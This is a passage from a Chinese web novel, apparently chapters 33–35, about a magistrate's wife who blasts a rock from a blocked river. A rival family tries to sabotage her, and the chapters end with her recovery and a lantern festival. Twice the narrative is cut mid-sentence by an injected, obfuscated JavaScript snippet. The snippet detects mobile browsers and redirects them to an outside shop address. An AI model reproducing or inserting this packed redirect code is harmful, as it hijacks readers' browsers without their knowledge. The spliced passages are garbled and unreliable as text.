“不知到底为何事?”杨珞云心中那点高兴还没品完,想到能让县令夫人向自己低头恳求的事多半不是什么轻松的。 陆笙卖了个关子,说随着她来就知道。 秦厌再次被崔息派过来为夫人驾车,这次先是上去夫人和那位杨娘子,后面又去接了上次见过的土人母女。 最后一行人来到山脚,这座矮山另一边就是被堵住的那条河。在这里能听到对面偶尔响起来的火药声,频率与昨天完全不能比,大概法子已经快试完了。 冬季的山靠竹子青着,但草色已衰,周围还有未化的冰雪,还是凄冷。 “笙姐姐,我们来这里做什么?偷看人家的点子?”秦厌说到后面声音很轻,毕竟这不光彩啊! 陆笙说:“当然不是,是来看掉下去的石头到底什么样,最大的那一块据说就是这座山上的。本来那条河就有点堵,没清,然后一块大的落下去才彻底堵上了。” 其实要原来还在运铜矿的时候,这条河早清了,但失去了主要经济来源,也就将就到底。 到达传说中的落石处,陆笙转了一圈,心想这事情果然有诈。这里要是能水走泥下去那么大一块石头,物理学才是真的不存在了。 “云娘子,你能大概算一算这石头的大小么?”陆笙给她比划了一下范围。 杨珞云点点头,特别精确的算不出来,大致的……应该可以。 陆笙不让她为难,把昂摩介绍给她,昂摩可以用步子测算长度,可量化以后再让杨珞云进行测算应该会简单很多。 她自己则主要负责调停阿木凌与秦厌两个孩子之间的吵嘴,出来踏查她爱带气氛组,热闹。 “阿木凌,你们去试了么?”陆笙把他们两个分开。 “什么,她也去试了?这倒挺好,让谢家多出些血!”秦厌咬牙切齿,显然他对谢家掌握水道一事的后果也有清醒的认识。 阿木凌不理他,只回答陆笙:“试了,但……没有尽全力,喏。” 陆笙拿过她手里的纸包笑,这火药味,应该就是谢家提供的那一份。 虽然她也有阮清淮的配方,但万一谢家拿的不一样呢?又或者他家故意提供的是威力弱的炸药,最后自己再试呢? 拿到火药的陆笙趁自己还记得,忽然教训一嘴秦厌:“阿木凌吃完我的饭会自己收拾碗筷,不像有些人,跑得比野猪都快。” 秦厌立刻发誓:“我洗我洗!下次一定洗!” “下次?可没有下次,除非……”陆笙瞥他一眼。 “除非什么?” “除非你先来洗一回。”陆笙认真道。 秦厌悲伤认命,阿木凌说嚎什么嚎,大男人一点也没出息,眼光短得很,明明吃不到才更不值得。 陆笙在一旁点头,阿木凌说得对啊。 - 杨珞云的运算能力超出陆笙的预料,晚上她就在自己的木屋里把答案给写了下来,又问陆笙:“夫人,听昂摩姐姐说你要把那石头炸了?” “是啊,炸了。”陆笙拿着纸,其实她也不明白这个数字的真正含义,要想攻克,还得实验。 秦厌这次出去买了硝石与硫磺,希望能够支撑实验完成。 “这段时间要辛苦云娘子与我同吃同住了,到时候再把昂摩她们母女接过来,我们一块商量。” 杨珞云明白陆笙的意思,同吃同住,怕泄密。 “那夫人心中可有方法?” 杨珞云从前曾经听闻过一些处理的办法,如果陆笙不知道,她愿意讲出来。 “冷热烤,刺入裂石锥,再借助火药之力,将石头分成几块然后缚绳索用船拖走。”陆笙把自己的方法说出来,可这太粗糙,要真去动那块石头可没那么简单。 “只是下刀于何处才能让绳索顺利绑缚,不至于水面的碎了,水下的一点动静也无,现在是水面最低之时,待到春日连露出那片也见不到了。”陆笙愁苦。 “请恕珞云直言,永平县的锻铁之术太过……粗糙,若夫人要用裂石锥怕还是得向外求。”杨珞云之前建屋子时有过体会。 “好,多谢云娘子警醒。” 此夜吹灯睡觉时,杨珞云终于发现自己感觉哪里古怪了,夫人和自己一块入眠,那崔县令呢?那门可已经上了锁还有门栓。 杨珞云的大脑烧得厉害,这些信息交杂快要宕机,但今日疲惫,大脑也支撑不住她激烈地思考,不一会儿人就失去了意识进入梦乡。 再之后那木屋就变成了四个人睡,陆笙、杨珞云、昂摩还有阿木凌都睡那,白天的时候她们尝试复原那块石头的具体大小和形状,根据石头来测算锥入的点。 陆笙也托崔息尽量收集曾下水探查过这石头的人,但信息寥寥。 这时候谢家基本已收阵仗,那处再没那么多人,半夜时家仆偷懒那边是无人的,于是陆笙直接就带四个人摸了过去。其实她都没想好,但抢时间就是这样,想是什么?先做再说。 “夫人,你这是要做什么?”杨珞云心中察觉,但不敢相信。 陆笙说:“下水,我水性不错!对吧,阿木凌?” 33. 第 33 章 天朗日晴,谢林依旧坐在暖阁里与妻子窈芳下棋,前几日实在把他折腾得他够呛。 “这帮泥腿子,贡献的什么破点子,一个都不行。”谢林端着燕窝吃一口,嘴上忍不住骂两句。 窈芳抿下讥笑,谢林年轻时那才叫苦,不只要在那铜矿里头钻营还要编瞎话哄骗是自己的父亲,钱拆东墙补西墙,但人机灵,没两年就累了家财。现在不过是熬几夜就不行了,可见这逝者如斯夫,是谁也绕不过。 又感叹,真应该问那阮清淮要些神仙方子,据说他可是那大明宫里头的道士,长生有术。 “阿耶,什么时候去炸了那劳什子的破石头?” 谢栖真胡服窄袖,围着狼皮披袄从外面大步走进来。 “真儿,这么急做什么?这永平县又没有第二个人想出办法来,最关键那火药方子在阿耶手里头呢!”谢林捏着棋子,不疾不徐地说。 谢栖真捉住父亲的手臂晃一晃说:“这不是听说县令府里头经常传出什么声音么?” “呵,多半是在试我传出去的火药方子,只是任凭聪明也想不到,那给那些泥腿子免费试的方是假的。”谢林得意,生意场中混迹的哪有自己赔钱的份。 又怕女儿不开心,毕竟方法是她想的,谢林说:“等水道一通,阿耶就设法给你说亲,叫那崔县令停妻娶你,如何?” 女儿谢栖真的法子至少能炸一小半石头,也就是说,到夏季多雨时那水道就可以通了,同时疏通水道的那份功劳归在自己身上。 至于后面是否兴盛以及水道后续疏通,那是官府的事情,他只要抢先就好,再想办法以首功之劳把火药的钱连本带利拿回来。 “阿耶,事情不是这么讲。夜长梦多,早日成事心就可以放在肚子里,谋划其它也多了把握不是?”谢栖真觉得父亲说得不对。 窈芳抓住女儿的手摩挲说:“可惜,可惜真儿非男子,否则多少也是宰辅之才。” “阿娘就会嘴上夸我,实际上偏心弟弟。”谢栖真笑着说,眼神熄灭了几分光彩。窈芳像被刺痛了似得将手收回去,面上的笑也少了几分真诚。 谢林装作不知,给女儿允了些实财以抚平她的不快。 “如何,我说的这些都给真儿,现在总没有嘴上夸了吧?”谢林问。 谢栖真点点头,心满意足地离开,只是完全离开暖阁之前还是提醒谢林:“阿耶,我打听过,那个姓陆的女镖师不是那么简单的角色,据说她这次也找了人帮忙,我们能快则快。” 谢林点点头,他理解女儿的心急。年轻人总是希望自己一举成名,但他想把自己能成事的消息放出去,让县令来求他。 因为如果主动权在自己手里,筹码就可以提高,说不定还能实现自己所想。那么自己在铜矿以后就有了一本万利的生意,这生意是只要永平县还在,自己家就会在,财运永不会灭。 谢栖真对阿耶有些敷衍的态度不满意,回房的路走到一半,她看到管家急匆匆地从外面赶过来,手里拿着一张大红帖子。 谢栖真奇怪,客已经全部宴请完毕,这么大帖是什么宴会? 她悄悄跟着管家的脚步回到暖阁,听到管家禀报声。 “郎君,这崔县令请全县乡绅与百姓傍晚时去河边观礼!” “什么礼?”谢林皱眉。 “据说……是那破石通道之礼。” “你们没人拦着吗?不是派人看着了么?废物!”谢林气得将棋盘上的棋全部拂到地上,棋子滚落在地,如同雨水点地。 “崔县令带着捕快来的,这……如何拦得住?” “刁奴,你说什么!!”谢林竟做势要打。 谢栖真觉得阿耶闹得有点难看,撇了撇嘴走进去说:“阿耶,普天之下莫非王土,率土之滨莫非王臣。一干奴仆又如何拦得住官身的县令,且随着去看看,万一不成呢?” 谢林的面色好一些,窈芳握着棋子也劝他。 “阿耶,最多不过是与我的法子一样,到时你做咱们县乡绅里带头的那个,答应捐银钱修缮也能落个好名声不是?以后这水路通了有名声不也一样能赚么?” “真儿,你说得有理。”谢林忽然想起自己鬓边的白发,又心惊,自己是否因为衰老而丧失了等待蛰伏的本事。 河岸附近,隔几米就站着个手里握竹子的大汉,笔挺的竹子上还绑了红绸带,那排场喜庆得很。之前谢家的人看到他们过来,先是派人来望一望,看清楚是谁以后立马解了竹排的绳子。 这做派,陆笙暗自发笑。 崔息命人将县衙定的竹排绑好,每一个竹排上也都系上了红花,取个吉利的彩头。 “阿乐,你们已经有法子了?”崔息并不知道她们在宅子里试验的具体结果,甚至不知道法子成没成,但陆笙今天叫自己这样大张旗鼓地办,想必是已经成竹在胸。 谁知陆笙却摇摇头:“不,还差一步。” 是的,虽然出了很多版方法,但是杨珞云觉得要是有更精确的模型,她们需要下的锥就不用那么多,少一个锥就少一份风险。 今天江面的风不大,杨珞云拿着纸与炭笔画得很快,下水的人不断汇报上来她需要的点,一个个点成为她改进脑中模型的新数据。 只是时间紧迫,她要在落日之前完成计算。 崔休息看了几眼杨珞云手中的纸,问陆笙:“一开始她是怎么知道那有个侧面凸起的?” “我们去那山上看了。”陆笙心不在焉,随便答了。 崔息看她紧张,忽然握一握她的手,忽如其来的覆盖又果断地撤退,纠缠陆笙的纷扰断开一瞬。 “阿乐,现在是我们握住了先机。” “是,至少现在。” 越想这件事就加码越重,不能再想,陆笙气得掐了自己一下。 崔息在一边劝慰她,又说人生不止一次机会,谁知道以后永平县是否还会迎来变化。 阿木凌为杨珞云拿东西,她随时需要某次的方案,这些东西都存在阿木凌拿着的木盒里,她看陆笙那个紧张样很不理解,她那天下水都不怕,今天怕什么? 笨蛋陆笙。 - 谢家人到的时候正看到有人正在给石头露出水面的地方下锥。 “我还以为多高明的手段。” 谢栖真打眼就有些不屑,这和自己的法子不是差不多么?就是烧热再冷却,在石头表面下锥,再叫人敲裂石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12859217|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 看来火药不过是个障眼法,其实在阮清淮忽然失去踪迹以后,她就判断这个火药只是理想手段。譬如用沙石袋把水堵住,没有水的时候可以用火药尝试炸一下石头。 “阿耶……” 谢栖真喊住谢林,让他待会去挑崔息这个办法刺,切记要等人多的时候发难,这样心有不瞒者也可以趁机来挑刺,浑水摸鱼。 但看着看着她发现有些不一样,不知为什么,他们拿了竹筒,竹筒入水,最后又冒出一截来。还没看清楚,崔县令就来寒暄,谢栖真第一次对这样好颜色的男人起烦心。 周围的人越来越多,日头也挂在山上,一点点西沉下去,晚霞如炼,在江面上纷呈而现。 陆笙看着橘色的波澜逐渐转红,最后变成紫色,再一眨眼日头落下,婉转的颜色没了踪迹,周围的面孔也开始模糊。 一团团火焰忽然跳跃而出,像那天她和崔息凭栏时一样,无数人围着这条流淌的大河,只是今天自己不再是旁观者。 崔息站在人群中间,他在宣讲今日功德,开水道以通永平镇的风水,从此永平镇不说如龙点睛一跃成为上县,至少也不再受此桎梏,从前的生意可以盘得活。 乡绅中有姓隹的,原是本地土人大酋的后代,与谢家分庭抗礼之势,但因水道堵塞,土药土货不再那么方便出去,就逐渐没落。 今天隹氏气氛最为热烈,表示永平县最好的风水是来了崔息,以后他的功德永垂,甚至隹氏以后愿与本地大族一起与县衙共同将河道整治,不再懈怠酿下断代大货。 谢林的嗓子实在比不过这帮隹氏族人,因为据说这帮人每年都还要在山里举行歌会。 纷纷扰扰,争吵、夸耀,崔息站在人群中不停地说话。 …… 陆笙远远地看着他,偶尔拉一拉弓试试力。 “县令夫人?”谢栖真不知何时走到自己身边。 看着灯下陆笙的面容,谢栖真冷笑,她就连谢卉真的一半也比不上。 但嘴上说着:“儿是谢家长女,谢栖真,今日随父亲来此。不曾想三生有幸,遇到了夫人您。夫人,舍妹年幼无礼,我这个做姐姐的替她向您道歉。” 陆笙略带迷茫地看着她。 “舍妹姓谢,名卉真。”谢栖真觉得陆笙真是面露蠢相。 “谢娘子,等下我马上要追灯,可否让一下?”陆笙只关心今天的大事。 追灯是今天破石仪式的一环,为了让这件事看起来异常庄重,也为了减去伤亡。至于用火药一事,这是为了利用火药爆炸的反作用力代替敲锥,以上这一切都听鼓声与旗帜为令。 其中最危险的事是中间空当时间里为石头套上特制油绳,这件事由昂摩和阿木凌做,不需要下水,但要操作长杆。 谢栖真现在在她附近晃来晃去,太干扰。 听了陆笙的话,她微笑点头,只是走之前要陆笙的弓看一看,说是从没见过这样好的弓。 陆笙将注意力放在鼓声上,听她这么说准备将弓抽离但却慢了一步,弓收紧的两端猛然松开,不停地颤抖。 弓弦断了! 陆笙惊怒,但谢栖真已经闪身进入人群不见了踪影。 34. 第 34 章 陆笙擎着火把对丰娘所在的地方打了个旗语,示意自己要换弓。 这个时候鼓已经敲响,冷风带着一下又一下的鼓声回荡在江面,也擦过她鼻尖。 陆笙看到秦厌在山那头的火把已燃起,大鼓咚咚声里一个细细的火点扎破夜色,又穿过阵阵河风点爆第一个点。 陆笙在心里默数:十、九、八、七…… 那是昂摩和阿木凌放绳和检查的时间。 很快,她的眼睛又捕捉到第二个火点亮起又忽然熄灭。 原来是天地间忽有狂风,仿若无形狼潮猛扑而来,所有火光瞬间灭去,黑暗再次包裹一切。 陆笙手控制不颤抖,数量众多的人群和深夜巨大的恐慌是大事故,她太得意忘形,忘记敬畏天地之间无法掌控的力量。 但,不可行之事也要办到,一定要办到。 她眼睛里忽然映出火光,接着乱哄哄的人群立刻安静下来。陆笙沿着火光看去,崔息站在高处振臂示意,旗语在火把下挥舞,让大家先撤出这河谷。而焰火因风乱舞,崔息的幞头也被火燎破。 谢林站在高地上,这里再没有那一股暴躁的河谷巨风,家仆举着风灯与火把跟在身后。 “真是天助我也!!!”谢林看着崔县令在那忙碌心里异常舒坦,更盼此时天能落下大雪,这样什么破石之计便断不可能成功。 谢栖真也不由拍手叫好,她方才还以为多么厉害,原来只是些华而不实的花头。爆炸声音确实响,但和人敲有什么两样? 其他百姓乡绅也都在窃窃私语,冬夜的天如夏夜一般有了嗡鸣声。 河谷之内,沈莲丰递给陆笙一张大弓。 “昂摩放在备用弓里的,说风大可以用,但没人拉得动。”她面上忧愁一闪而逝。 丰娘很少有这样的神情,陆笙想起阿木凌说的“那法子”来,便拍拍沈莲丰的肩说:“丰娘,我能张开,但你可得去为我准备些上好的伤药,以解我后顾之忧。” “上好的伤药好说,娘子,你快张弓吧!我为你打旗!”沈莲丰喜色替忧色。 陆笙点点头,将昂摩的弓仔细摩挲了一遍,这是土人用的大弓,要用些技巧才能张开。这弓需要的力道很大,陆笙没有把握射下剩下的四次。 隐朱绳被陆笙拿在手里,一端系上弓把,一端系上自己的大臂。 “丰娘,我们再近一些,到能靠近的最近距离去。”陆笙连空弓也不敢拨,只为保留气力。 走到最近的地方,陆笙从袖袋里拿出几颗桂花糖全都塞进了嘴里,沈莲丰已经打好旗语,她现在只要射中江中那朵飘摇的火花。 力从地起,人的力气是有限的,要拉动这弓就要借一点力,可惜陆笙十五岁就开始走镖,向地借力的功夫还没练到家。她尽力稳住下盘,深吸一口气,两臂用力,肩背做辅,弓发出“嘎吱嘎吱”的声音。 沈莲丰不敢动作,屏住呼吸看到大弓被张开,拉满。她拿起火把,将火焰渡到箭头,火把方离开,箭矢立刻疾飞,一个呼吸不到就引爆里火药。 亮起的焰光里,陆笙扶着弓的影子薄薄一片,仿佛秋叶。她微微躬身,背着风,但不敢大口呼吸,太冷的风会让她吐血,吐血也就罢了,泄了气就再拉不开第二下。 “娘子,可以拉弓了!” 陆笙没有作答,深呼吸一口继续发力,隐朱绳被绷直,这不粗的绳子让人疑心下一秒就要断裂。 那第二箭射出,陆笙差点跪倒,嘴里的桂花味隐隐带了血腥气,但她没有张嘴,等待沈莲丰要她射出的第三箭。 “夫人……” 沈莲丰揩揩眼泪,请求的话是这样沉重,她有些不忍,她还以为上好伤药只是…… “夫人!!!” 崔息的声音嘶哑,这一声更是破了音,但再急他也不敢轻举妄动,唯恐伤了陆笙。 “合……”陆笙不敢泄气太多,她的眼睛几乎要流下泪来,企盼崔息明白自己的意思。 好在话刚说完,陆笙就感受到他听懂了,崔息把自己的力气和主动权全部交给自己。于是大弓又如月满张开,陆笙的视线勾住焰火,最后两下依旧箭无虚发。 射箭结束以后陆笙无法站立,全凭这张弓支撑。 陆笙知道崔息还有事情没有办完,摆摆手让他先离开,自己扶着丰娘撤了回去。沈莲丰在旁边急急忙忙地掏手帕,陆笙拍拍她的肩膀叫她放心,也把含着的那口血吐了出来。 “无妨,吐出来就好了。丰娘,等水道通了以后我们是不是也要做点生意?” 沈莲丰点头,不停地说“是”,这时候,就算娘子要天上的月,她也会说“是”。 阿木凌给陆笙吃药,让她现在就别说话了,快闭嘴! 陆笙心里畅快,胸口都没那么疼了,她觉得真好,哪怕百转千回也还是让她打通了水道。有了这水道,多出的谷物菜蔬也能顺流而出,至于其他特产风物也不会因为闭塞而无奈消失。 这是养育陆笙的第二个故乡,她不愿意看着它衰败,至于是否应和了其他人的利益,陆笙没有仔细想。 喧哗声音又急急忙忙地来,缤纷的火形成重叠的影子,光斑绚得她眼睛疼,陆笙想要闭上眼睛,昂摩却一直拉她的手说话,让她不要睡去。 又问她爱吃什么?爱玩什么?喜欢穿什么颜色的衣服。 “爱吃莲子。” “我只想躺着,想在荷叶底下……” “我不喜欢选。” 昂摩还在继续问她,声音像电流一般,眼前还有雪花纹,可明明她是闭着眼的。陆笙又觉得嘴里发苦,想把嘴里的苦物吐出来。 沈莲丰却捂住她的嘴:“娘子,这是上好的伤药,吃下去,吃下去就可以睡了。” 陆笙吞咽下去,想到水道通了的事情睡觉时又换作笑着的表情。她一定要给老庄去书一封,或许看了水道一事后他会回来呢?她要让时光倒流,今天自己不是那个无能为力的小孩。 而一场梦从陆笙苦涩的口中发起生出,她想起了一枚莲子,味觉刺激梦与想团叠收缩,让她再次品尝那一枚苦涩的有心白莲子。 “外婆,为什么莲子有心就是苦的?” 外婆穿着蓝色印花布,头发用刨花水得光挺挺的,额头总戴着一块布巾。据说是当年生孩子的时候大夫嘱咐的,以后要多戴布巾,这样不会生病。 外婆的皮肤已经脱去年轻时的茂盛,很干,像放久了的笋衣。她常用她笋衣似得手轻轻为陆笙揩去淤泥点子,揩去和人打架留下的痕迹…… “人有心也苦,苦入心。” 陆笙听不懂,外婆则把手往清水里浸一浸,搓了一条手巾把她脸擦净、背上的汗也抹去,再剥一颗莲子去了心的莲子哄她。 陆笙咯咯笑着吃一口,苦涩不再,只有清甜。 再之后就要睡觉,长长调子的蝉鸣催午梦,夏天外面光白得发烫,屋子里铺一条草席,蒲扇轻轻摇两下就人神不知。 “睡啊睡,睡到清凉梦里,摇啊摇,摇到外婆家桥下。” - 崔息在木屋外敲了半晌,陆笙已经睡了两天,丰娘说那药就是这样,至多三天就醒了,可郎君得去陪一陪。 崔息敲了几回没人应就准备走,丰娘却在背后,把他轻轻惊了一下。 “阿郎,这我就要说你了。娘子劳心劳力,这样可就是辜负。” “那……那便进去。”是该进去,崔息也不知道为何没跨出那一步。 丰娘催促下,他轻轻推开门,木屋里壁炉的火烧得不旺,里面暖而不热。崔息把自己的外袄放在门外,走到她床边时脚步放得很轻。 陆笙还在安睡,眉头却轻轻皱起来,崔息伸手,要垂至她眉心时忽然收拢了,自己的手指冷,碰到了多半是扰人好梦。 又想,不知道她会做什么梦呢?梦里会有自己吗?大概不会吧,她可能在想选种、犁地、锄草,唯独不是自己。 崔息胡乱地想,想到这里束了心绪,去想别的,再想就是颠倒梦想。 陆笙的眉还在皱着,崔息为她轻轻哼上次的曲,但只有几个曲折便连接不下去,崔息来来回回地哼,她的眉头居然也平下去。 或许她爱听些乐曲?崔息想到她的名字,这件事他倒是勉强担得起“精通”。 “云尘,别再想了。”陆笙闭着眼说。 崔息愣住,低头看她的脸,闭着眼的,是自己幻听了么? 但马上看到陆笙睁开眼,崔息立刻解释:“本来是女眷照料,可……” “云尘,自有心证。”陆笙想调侃他一下,没想到他听了真脸红。 “四年我们都是夫妻,说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12876453|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些?反倒是你,想得事情太多了,害我做不好一个梦。” 陆笙其实已经醒了一会,在他进门不久后,她眼睛轻轻睁开一条缝,看他坐立难安的模样简直想笑,他哼调子陆笙实在憋不住了,探花郎这是在做什么? “嗯。”他虚心接受批评,抿唇绷着下巴将头低下,但很快又抬起头来,他说:“我还有两本农书没有给你,本想……” “本想什么?”陆笙可不给他犹豫的时间。 “本想与本县务农法一起给你的。” “本县有务农法吗?何时修订的?何人修订的?云尘哪里听来的?”陆笙一连四问,她真怕崔息被骗了,哪有这种好东西? “是我亲自编写,今岁破案时也访了些老者,将本地耕种法记录与纸上。” 陆笙惊讶,但更加呀的事情在后面。 崔息告诉她:“阿乐,此事也要归功于你。” 陆笙指了指自己,并不相信。崔息解释这样做的灵感来自于陆笙经常同家中婢子仆役说话。这样分功让陆笙心里有些不好意思,崔县令未免有些太好人,功劳还要掰给自己。 只是刚念着他的好和心软,崔息的问题就尖锐地来了。 他问陆笙:“我有一事不明,请夫人指教。” 他用了“夫人”二字,陆笙没有太在意,随他的习惯,大概就是什么重要事,换个称呼。 “什么?” “若你愿当隐士,为何不一开始就种地去,反而要绕道甚远,苦学艺,苦运镖。直接隐于山林不可吗?还是夫人另有心事不可说?” 陆笙看着他,他眼底是关心,但问题对陆笙来说却太尖锐,因为她也不知道。她能说的知道的,又要与前一世相连,崔息怎么能听懂呢? “若阿乐不愿讲,留在心中便好。全然是我逾越冒犯。”崔息看她沉默,将台阶放在眼前。 陆笙摇摇头,眼睛开合几次,最后选择用玩笑的语气说给他听。 “我……我做过一场很长的梦。梦里与此地全然不同。即便是我也能吃穿不愁,就是命依旧不好,人生仿佛一场幻。” 陆笙说到这里停下来,思考要不要把“幻觉”作为一个词。可是那时有“觉”么?有“明白”那种破阴云露天光的“觉”么?没有,只有幻没有觉。 她理清楚思路继续说,也省略了漫长的痛苦直接来到转折处。 “好在有一日我随手插在花瓶的枝居然开花了。我就想,好像我读了这么多年的书,居然从没有了解过吃进口的饭、菜,花卉瓜果不是躺在摊贩的店子里的,它们是怎么从这么小一颗种子长成的,明明四季轮回不止,我却从没看过一眼。云尘,你不好奇吗?万物自有生息之法,自己却如同目盲。” 说到这里陆笙自顾自地笑,她这颗好奇心太平常,像无知稚童。 “至于为什么不直接隐于山林,大概老庄对我有恩。加上我也能看到永平县结症所在,偏偏身有余力,理当一搏。我心中也没有丰娘说的“怜爱众生”的景象,只是有一种无法抵抗的直觉,回过神来已然搏天。” 崔息的眼睛发亮,他说:“阿乐,若……” “若我是男子就好了,这样我就可以福泽一方了?”陆笙叹气。 崔息摇摇头说她怎么会适合当官呢?一朝科举,欢喜一时罢了,此生要曲终取直,动荡坐镇,不适合陆笙的性格。 “阿乐自成一家,清风拂柳明月照江。” 陆笙恢复往日口吻,笑问:“云尘怎么说这样的话?难不成昨夜染了风寒?”她还不知道自己多过了一日,作势想去探他的额头。 崔息没有躲,将头凑近,脸往下低。 “这样老实可不好处置县里人与事。”陆笙把手收回,手指虚点一点。 崔息却自有理由,他说:“在外是县令,在家里是云尘自己。” 陆笙觉得他眼神太近,微微避过。 此时开心落在身前一尺,陆笙的心习惯性退后一步,真害怕它出现的意义是被剥夺。但这种想法马上又被她压下,四时轮转不息,她愿作野火烧不尽,春风吹又生的草,蛰伏与生长首尾衔接才是完整的。 “咚咚咚”门外传来丰娘的敲门声。 沈莲丰带着喜不自胜的语气说:“娘子,阿郎,今夜就是大灯会,你们可千万要去!” 35. 第 35 章 出门前,沈莲丰把陆笙按在妆台边。 丰娘问陆笙:“娘子喜欢什么得一个一个挑,喜欢什么花纹的钗、环,又喜欢什么样的布料,要什么手感、颜色、垂度都要好好选,否则这钱花出去买来的却是不喜欢的,多吃亏。” “那不买呢?”陆笙认真思考。 “娘子,这事就跟吃饭一样,要试了才知道喜不喜欢呐。”丰娘对这事的执着性超过了陆笙的想象。 前世读书忙,家庭也不会支持她这样程度的打扮,到底喜不喜欢她确实不知道。今生只有一块玉一对金镯,它们也不是为打扮,而是身世指引,这么说自己是真的没有按照心意尝试过。 其实对打扮这回事,陆笙自始至终缺乏一点耐性,也默认自己就那样,丰娘的手艺让她看到了可能性,但……麻烦,懒惰啊总是十战九胜。 “娘子小髻剑眉英气,双螺髻娥眉淡雅,其他的娘子大概不大喜欢?”丰娘把自己的观察说出来。 “是,似大刀髻就太重,又要缀很多金银钗,麻烦,我懒但偶尔好动,怕掉了金花金叶,走几步亏了几个月的菜钱。”陆笙看着镜中的双螺髻说道,又赞叹丰娘的梳妆与搭配本事,平平无奇的自己一妆点真动人不少。 “与娘子相处下来手感才准一些,娘子就是那冰肌玉骨的雪牡丹,粉黛太重翻倒掩了肌质,从前是我走眼。” 丰娘将陆笙娥眉淡扫,心里想娘子今天要与阿郎一起观灯,灯下的美人快如并剪,轻易就能溃了郎君的心。 陆笙听着她的形容不敢当,雪牡丹实属过誉,不过是因为不走镖少了风霜所以白了一些,哦对,还有丰娘那大量的方子加持。陆笙怀疑就算是茶叶蛋给她这么一套组合拳打下来都能变白煮蛋,就是希望以后红润些,不要太像上班时候的样子就好。 梳完发髻,陆笙又按照沈莲丰的指引一块又一块布料得试,其中差别她并不清楚,沈莲丰却娓娓道来,产地、染法甚至怎么除污、清洗都了解得一清二楚。 “不如以后养点蚕,卖点丝帛,丰娘懂得这样多,又不知丰娘喜欢什么?”陆笙心中一动。 沈莲丰叹一口气说:“娘子这点子甚好,只可惜这里似乎并没有养蚕缫丝的传统,怕是要费一番功夫。至于我喜欢的,在上京时爱侍弄些花草,可要让娘子见笑了。” “诶,丰娘肯定大有可为。” “娘子自然做得,通水道这样的大事都做成了。” 陆笙一愣,笑着摇了摇头,说这也不是自己做成的,这么多人呢。现在说起生意经,陆笙其实有些害怕,理由潜藏在知觉之下,她一时还未挖掘。 陆笙和沈莲丰一直聊到妆成,最后时达成了某种一致:不直接办业。 毕竟崔息是官,四年以后就要离开此地,到时创下的店又要交接买卖,万一店铺再做大了,铺子一走,做事的怎么办?重新整合容易元气大伤,又容易人事不和,所以不如一开始就与本地人合作,她们出资金,具体做什么再考量。 说完陆笙后知后觉,自己就是那本地人呀!可这事不好跟丰娘说的,开始的时候陆笙也没有想过会经历如此多的事,以至于分开会难受、痛苦。 与沈莲丰说完话,陆笙又去找了杨珞云。她对这里不熟悉,但之前与昂摩母女相处甚是愉快,所以给她了一张简单的图纸,大致标明了县里的街道和重要店铺,以及昂摩家。 陆笙把之前未竞事一一补上,到天色昏昏时才终于要去找崔息了,先前他来寻过自己,但自己另外有事,就让他去书房等着。 行至书房门口,陆笙抬手敲了两下门。 “阿乐?” 门应声而启,崔息今天穿的是蓝色的袍,衬得人颇为清贵。 “云尘有未卜先知之术?” 崔息摆手,哪是有未卜先知,只是让仆役拦了非是陆笙的其他人相见。 “看云尘这副表情,恐怕不是。” “原来未卜先知的是阿乐。” 崔息笑着将人请进去,关门时用力压一压,生怕留了缝隙,毕竟她这些日子身体尚弱。 “我们不出去了?”陆笙看他这么认真关门,有些疑惑。 崔息递给她一个手炉说:“拿着这个,当心冷。” “那还要还你吗?”陆笙一上手就发现这炉子精巧之处,左右翻覆都不会让炭落下来,立刻起了霸占之心。 哪晓得崔息说本就是送她的,陆笙愣一下,在身上寻摸半天。 可惜,身无长物啊,同乡能写一本厚的《长物志》,她的财物暂时填不满一笺纸。 “礼尚往来,君子佩玉,这块白玉送给云尘。”陆笙也不知道算不算宝玉,但最能抵金银剑还有这错金手炉的就它了。 崔息没有推辞,郑重地接过玉佩,手指摩挲一番后拿出一个檀木盒,小心往里垫了需要的丝帛才认真放下。 陆笙看到丝帛想到那天,顺口问:“诶?那天那块布哪儿去了?是洗净卖了么?” 崔息摇头,从一排悬签里抓住某个然后打开布袋,一幅装裱好的手卷被他放在几案上。他解绳一推,木轴滚动,惨不忍睹的字一个又一个出现。陆笙痛心那点工费,又在心里怪自己,没事提起那倒霉事干什么?现在好了,白受折磨,旁边书法大师还笑吟吟的。 她扣住手炉,咬牙忍耐,来都来了,忍忍吧,看他那得意的模样,这次不让自己忍,铁定还要找下次暗示自己。 忍完出门的时候天边云霞还有未尽的色彩,陆笙回头恋恋不舍地看了两眼,但怕耽误时间就准备继续往前走。 崔息劝她看完,心情和云霞不是每日兼备。 “想看,莫错过。” 天色彻底暗下去不过转瞬,太阳西边落下,但东边有孔明灯升起,还有悬着的花灯慢慢飘起。乐声也渐渐响起,盛会拉开帷幕。 走到街上,各式各样的灯挂满了,街道上有好些个杂耍艺人,吞宝剑、走钢丝、跑旱船的,应有尽有。 入冬以后略显冷清的街道今天繁华异常,人人穿新服,戴彩胜,灯火人影歌舞喧闹融为一炉。彷如……陆笙回忆闪烁,她回忆起了类似的场景,只是更盛大,周围高楼鳞次栉比的一座城市,不知是哪里。 恍惚未过,一条威武大蛇模样的灯吓人一跳。那大蛇之瞳为金辉色,一身五彩斑斓的黑甲随风扭动,身后的灯阵也为它助威。 “这是什么灯?”崔息在长安时从未见过这模样的灯。 